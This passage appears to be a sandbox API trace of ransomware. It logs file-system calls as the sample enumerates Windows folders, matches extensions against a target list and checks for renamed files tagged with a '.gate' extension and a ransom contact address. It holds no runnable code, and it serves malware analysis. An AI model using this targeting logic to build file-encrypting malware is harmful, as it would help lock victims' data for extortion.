dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.280] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=129) returned 1 [0318.280] CloseHandle (hObject=0x324) returned 1 [0318.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0318.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate")) returned 0x26 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString=".doc") returned 4 [0318.281] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0318.281] lstrlenW (lpString=".docx") returned 5 [0318.281] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0318.281] lstrlenW (lpString=".pdf") returned 4 [0318.281] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString=".xls") returned 4 [0318.281] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString=".xlsx") returned 5 [0318.281] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0318.281] lstrlenW (lpString=".ppt") returned 4 [0318.281] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString=".zip") returned 4 [0318.281] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString=".rar") returned 4 [0318.281] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString=".bz2") returned 4 [0318.281] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0318.281] lstrlenW (lpString=".7z") returned 3 [0318.281] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString=".dbf") returned 4 [0318.281] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString=".1cd") returned 4 [0318.281] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.281] lstrlenW (lpString=".jpg") returned 4 [0318.281] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0318.281] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString=".doc") returned 4 [0318.282] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0318.282] lstrlenW (lpString=".docx") returned 5 [0318.282] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0318.282] lstrlenW (lpString=".pdf") returned 4 [0318.282] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0318.282] lstrlenW (lpString=".xls") returned 4 [0318.282] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0318.282] lstrlenW (lpString=".xlsx") returned 5 [0318.282] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0318.282] lstrlenW (lpString=".ppt") returned 4 [0318.282] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0318.282] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString=".zip") returned 4 [0318.282] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0318.282] lstrlenW (lpString=".rar") returned 4 [0318.282] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0318.282] lstrlenW (lpString=".bz2") returned 4 [0318.282] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0318.282] lstrlenW (lpString=".7z") returned 3 [0318.282] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0318.282] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString=".dbf") returned 4 [0318.282] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0318.282] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString=".1cd") returned 4 [0318.282] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0318.282] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0318.282] lstrlenW (lpString=".jpg") returned 4 [0318.282] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0318.282] lstrcmpiW (lpString1=".LOG", lpString2=".gate") returned 1 [0318.283] lstrlenW (lpString="BCD.LOG") returned 7 [0318.283] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString=".doc") returned 4 [0318.283] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0318.283] lstrlenW (lpString=".docx") returned 5 [0318.283] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0318.283] lstrlenW (lpString=".pdf") returned 4 [0318.283] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0318.283] lstrlenW (lpString=".xls") returned 4 [0318.283] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0318.283] lstrlenW (lpString=".xlsx") returned 5 [0318.283] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0318.283] lstrlenW (lpString=".ppt") returned 4 [0318.283] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString=".zip") returned 4 [0318.283] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0318.283] lstrlenW (lpString=".rar") returned 4 [0318.283] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0318.283] lstrlenW (lpString=".bz2") returned 4 [0318.283] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0318.283] lstrlenW (lpString=".7z") returned 3 [0318.283] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString=".dbf") returned 4 [0318.283] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString=".1cd") returned 4 [0318.283] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0318.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.283] lstrlenW (lpString=".jpg") returned 4 [0318.283] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString=".doc") returned 4 [0318.284] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0318.284] lstrlenW (lpString=".docx") returned 5 [0318.284] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0318.284] lstrlenW (lpString=".pdf") returned 4 [0318.284] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0318.284] lstrlenW (lpString=".xls") returned 4 [0318.284] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0318.284] lstrlenW (lpString=".xlsx") returned 5 [0318.284] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0318.284] lstrlenW (lpString=".ppt") returned 4 [0318.284] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString=".zip") returned 4 [0318.284] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0318.284] lstrlenW (lpString=".rar") returned 4 [0318.284] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0318.284] lstrlenW (lpString=".bz2") returned 4 [0318.284] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0318.284] lstrlenW (lpString=".7z") returned 3 [0318.284] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString=".dbf") returned 4 [0318.284] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString=".1cd") returned 4 [0318.284] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0318.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0318.284] lstrlenW (lpString=".jpg") returned 4 [0318.284] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0318.285] Sleep (dwMilliseconds=0x64) [0318.499] Sleep (dwMilliseconds=0x64) [0318.927] lstrcmpiW (lpString1=".htm", lpString2=".gate") returned 1 [0318.927] lstrlenW (lpString="Bears.htm") returned 9 [0318.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.928] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=255) returned 1 [0318.928] CloseHandle (hObject=0x350) returned 1 [0318.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0318.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.928] lstrlenW (lpString=".doc") returned 4 [0318.929] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0318.929] lstrlenW (lpString=".docx") returned 5 [0318.929] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0318.929] lstrlenW (lpString=".pdf") returned 4 [0318.929] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString=".xls") returned 4 [0318.929] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString=".xlsx") returned 5 [0318.929] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0318.929] lstrlenW (lpString=".ppt") returned 4 [0318.929] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString=".zip") returned 4 [0318.929] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString=".rar") returned 4 [0318.929] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString=".bz2") returned 4 [0318.929] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0318.929] lstrlenW (lpString=".7z") returned 3 [0318.929] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString=".dbf") returned 4 [0318.929] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString=".1cd") returned 4 [0318.929] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString=".jpg") returned 4 [0318.929] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.929] lstrlenW (lpString=".doc") returned 4 [0318.930] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0318.930] lstrlenW (lpString=".docx") returned 5 [0318.930] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0318.930] lstrlenW (lpString=".pdf") returned 4 [0318.930] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0318.930] lstrlenW (lpString=".xls") returned 4 [0318.930] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0318.930] lstrlenW (lpString=".xlsx") returned 5 [0318.930] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0318.930] lstrlenW (lpString=".ppt") returned 4 [0318.930] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0318.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.930] lstrlenW (lpString=".zip") returned 4 [0318.930] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0318.930] lstrlenW (lpString=".rar") returned 4 [0318.930] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0318.930] lstrlenW (lpString=".bz2") returned 4 [0318.930] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0318.930] lstrlenW (lpString=".7z") returned 3 [0318.930] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0318.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.930] lstrlenW (lpString=".dbf") returned 4 [0318.930] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0318.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.930] lstrlenW (lpString=".1cd") returned 4 [0318.930] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0318.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0318.930] lstrlenW (lpString=".jpg") returned 4 [0318.930] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0318.931] lstrcmpiW (lpString1=".jpg", lpString2=".gate") returned 1 [0318.931] lstrlenW (lpString="Bears.jpg") returned 9 [0318.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.932] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1074) returned 1 [0318.932] CloseHandle (hObject=0x350) returned 1 [0318.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0318.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.932] lstrlenW (lpString=".doc") returned 4 [0318.932] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0318.932] lstrlenW (lpString=".docx") returned 5 [0318.932] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0318.932] lstrlenW (lpString=".pdf") returned 4 [0318.932] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0318.932] lstrlenW (lpString=".xls") returned 4 [0318.932] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0318.932] lstrlenW (lpString=".xlsx") returned 5 [0318.933] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0318.933] lstrlenW (lpString=".ppt") returned 4 [0318.933] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString=".zip") returned 4 [0318.933] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0318.933] lstrlenW (lpString=".rar") returned 4 [0318.933] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0318.933] lstrlenW (lpString=".bz2") returned 4 [0318.933] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0318.933] lstrlenW (lpString=".7z") returned 3 [0318.933] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString=".dbf") returned 4 [0318.933] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString=".1cd") returned 4 [0318.933] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString=".jpg") returned 4 [0318.933] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.933] lstrlenW (lpString=".doc") returned 4 [0318.933] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0318.933] lstrlenW (lpString=".docx") returned 5 [0318.933] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0318.933] lstrlenW (lpString=".pdf") returned 4 [0318.933] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0318.933] lstrlenW (lpString=".xls") returned 4 [0318.933] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0318.933] lstrlenW (lpString=".xlsx") returned 5 [0318.933] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0318.933] lstrlenW (lpString=".ppt") returned 4 [0318.934] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0318.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.934] lstrlenW (lpString=".zip") returned 4 [0318.934] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0318.934] lstrlenW (lpString=".rar") returned 4 [0318.934] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0318.934] lstrlenW (lpString=".bz2") returned 4 [0318.934] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0318.934] lstrlenW (lpString=".7z") returned 3 [0318.934] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0318.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.934] lstrlenW (lpString=".dbf") returned 4 [0318.934] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0318.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.934] lstrlenW (lpString=".1cd") returned 4 [0318.934] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0318.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0318.934] lstrlenW (lpString=".jpg") returned 4 [0318.934] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0318.934] lstrcmpiW (lpString1=".htm", lpString2=".gate") returned 1 [0318.934] lstrlenW (lpString="Garden.htm") returned 10 [0318.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0318.934] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=231) returned 1 [0318.935] CloseHandle (hObject=0x350) returned 1 [0318.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0318.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.935] lstrlenW (lpString=".doc") returned 4 [0318.935] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0318.935] lstrlenW (lpString=".docx") returned 5 [0318.935] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0318.935] lstrlenW (lpString=".pdf") returned 4 [0318.935] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0318.935] lstrlenW (lpString=".xls") returned 4 [0318.935] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0318.935] lstrlenW (lpString=".xlsx") returned 5 [0318.935] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0318.935] lstrlenW (lpString=".ppt") returned 4 [0318.935] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0318.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.935] lstrlenW (lpString=".zip") returned 4 [0318.935] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0318.935] lstrlenW (lpString=".rar") returned 4 [0318.935] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0318.935] lstrlenW (lpString=".bz2") returned 4 [0318.935] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0318.935] lstrlenW (lpString=".7z") returned 3 [0318.935] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString=".dbf") returned 4 [0318.936] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString=".1cd") returned 4 [0318.936] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString=".jpg") returned 4 [0318.936] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString=".doc") returned 4 [0318.936] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0318.936] lstrlenW (lpString=".docx") returned 5 [0318.936] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0318.936] lstrlenW (lpString=".pdf") returned 4 [0318.936] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0318.936] lstrlenW (lpString=".xls") returned 4 [0318.936] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0318.936] lstrlenW (lpString=".xlsx") returned 5 [0318.936] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0318.936] lstrlenW (lpString=".ppt") returned 4 [0318.936] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0318.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.936] lstrlenW (lpString=".zip") returned 4 [0318.937] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0318.937] lstrlenW (lpString=".rar") returned 4 [0318.937] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0318.937] lstrlenW (lpString=".bz2") returned 4 [0318.937] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0318.937] lstrlenW (lpString=".7z") returned 3 [0318.937] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0318.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.937] lstrlenW (lpString=".dbf") returned 4 [0318.937] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0318.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0318.937] lstrlenW (lpString=".1cd") returned 4 [0318.937] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0318.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 